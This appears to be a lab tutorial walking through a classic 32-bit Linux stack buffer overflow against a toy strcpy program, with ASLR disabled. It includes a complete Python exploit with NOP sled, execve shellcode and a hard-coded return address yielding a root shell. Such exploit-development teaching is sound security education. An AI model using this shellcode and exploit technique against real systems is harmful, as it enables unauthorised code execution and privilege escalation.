Stack-Buffer Overflow [Linux 32 Bit] (Part I)

Buffer overflow occurs when the programmer does not sanitize the code of a program sufficiently. This allows the defined buffer to be exceeded and therefore certain registers to be targeted in order to inject shellcode and lead to the execution of arbitrary code in the system.

In this article we will take advantage of the unsafe strcpy function to overflow a defined buffer and thus overwrite the ESP, EIP registers to gain RCE. We will not have any kind of restrictions like ASLR (memory address randomization) or DEP (data execution prevention).

To disable ASLR is very easy, we send a 0 as input to /proc/sys/kernel/randomize_va_space and that’s it.

echo 0 > /proc/sys/kernel/randomize_va_space

To start we need a binary vulnerable to BoF, so I found this basic C script that makes use of strcpy.

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
        copy(argv[1]);
        printf("Done!\n");
}
int copier(char *str) {
        char buffer[100];
        strcpy(buffer, str);
}

This script has no use, what it basically does is copy the first argument that we pass as input and save it in a buffer and print Done on the screen, the vulnerability is in the use of strcpy.

For compilation this must be in 32 bits, so it will be necessary to use the parameter -m32 of gcc, otherwise it will create it in 64 bits.

https://imgur.com/fn2Pckf.png

https://imgur.com/pzcdTJT.png

The parameters used in compilation are to disable some restrictions.

This generates an executable binary, so we try passing it an A to verify that it works.

https://imgur.com/UdKB266.png

Ok, that works, now we are going to use gdb to monitor the program usage at low level, we pass it the -q parameter to read symbols and run the list command to see the code.

https://imgur.com/rRySz6h.png

We will make a breakpoint at line 10, since the vulnerability does not happen in the main function, we use the break 10 command.

https://imgur.com/P08ILaY.png

We pass 4 bytes as an argument to the program with the run command.

https://imgur.com/bgUgHwh.png

Once done, we use the info registers command to view the logs.

https://imgur.com/25SPQqD.png

We list the ESP record with x/40x $esp.

image

As you can see, a memory address has been overwritten with the 4 As in ANSI.

Now, what happens if we pass the program more 100 As? Let’s check it out.

https://imgur.com/Jig6VcD.png

A buffer overflow has occurred and the binary has crashed.

I have created a small Python script that prints more than 100 As on the screen and I have exported it as BoF.

#!/usr/bin/python3
print("A"*116)

https://imgur.com/ql9LNNA.png

We pass the As and look at the ESP record.

image (2)

As you can see, all the A’s that we passed to the binary are there, this has overwritten even the return address, we are going to modify the return address with hexedit, we execute hexedit + the name of the binary.

https://imgur.com/yrbDTpc.png

And we changed the last values.

https://imgur.com/olJtCYE.png

Now we look at the ESP register again.

image (3)

The return address has changed, but it is in little endian, that is, backwards.

Now we are going to calculate the offset, that is, the As that we have to enter before the program corrupts. For this there is a tool called pattern_create which creates a special string for you to then compute the offset with pattern_offset`.

I passed him the bytes in which he corrupted the program.

https://imgur.com/6u3tOVD.png

Once the string is created, we pass it to the program as an argument.

https://imgur.com/6szLUpb.png

We copy and paste the address it reports into pattern_offset.

https://imgur.com/Rgoo3Rw.png

There it is, the offset is 112 bytes. Now we will use NOPS to fill the missing bytes before the shellcode and keep the program flowing smoothly.

We need a shellcode to gain access with a Shell, for this I used the following 32-byte one.

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

And I’ve created a small exploit in Python2 with the following code.

#!/usr/bin/python2

nops = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = "\xb0\xd3\xff\xff"
print nops + shellcode + padding + eip

What it does is generate 64 bytes of NOPS x90 and save them in the variable NOPS, then I define another variable shellcode with the shellcode, redundancy aside, and in the variable padding I do the calculations by subtracting the 112 bytes of the offset, minus the 64 of the NOPS and the 32 of the shellcode and I create the chain of A’s from the remaining number. In the EIP address we introduce one of the NOPS sled in little endian to avoid errors, since this will be pointing to the memory address of the instruction to be executed. And finally it would look something like this.

\x90\x90.. → \x31\xc0\x89.. → AAAA.. → \xb0\xd3\xff\xff

If we look at the result in hexadecimal with hexedit we will see something like this.

https://imgur.com/0YAugr1.png

I export the exploit as exp.

https://imgur.com/cPzxbeO.png

And we do a cat to the exported file.

https://imgur.com/KaYXfl8.png

And we have gained a root shell on the system.

Leave a comment